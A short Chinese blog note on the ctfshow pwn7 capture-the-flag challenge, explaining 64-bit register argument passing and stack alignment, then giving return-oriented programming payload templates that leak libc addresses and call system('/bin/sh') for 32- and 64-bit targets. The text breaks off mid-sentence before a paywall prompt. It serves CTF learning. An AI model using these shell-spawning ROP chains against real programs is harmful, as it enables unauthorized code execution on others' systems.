用ROPgabdet
找到pop rdi地址和ret地址:

来自ctfshow pwn7:
64位程序是需要栈平衡的,而且前六个寄存器用完了才会用栈传参
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数…
system函数和puts函数都只有一个参数
ret是用来栈平衡的
判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)
注意要连上远端后测puts的地址,本地运行可能不一样的(我是笨蛋吗被这个困这么久
而且本地运行可能会出现
据说可能和ASLR有关(没搞懂
还有接受put

最低0.47元/天 解锁文章
687





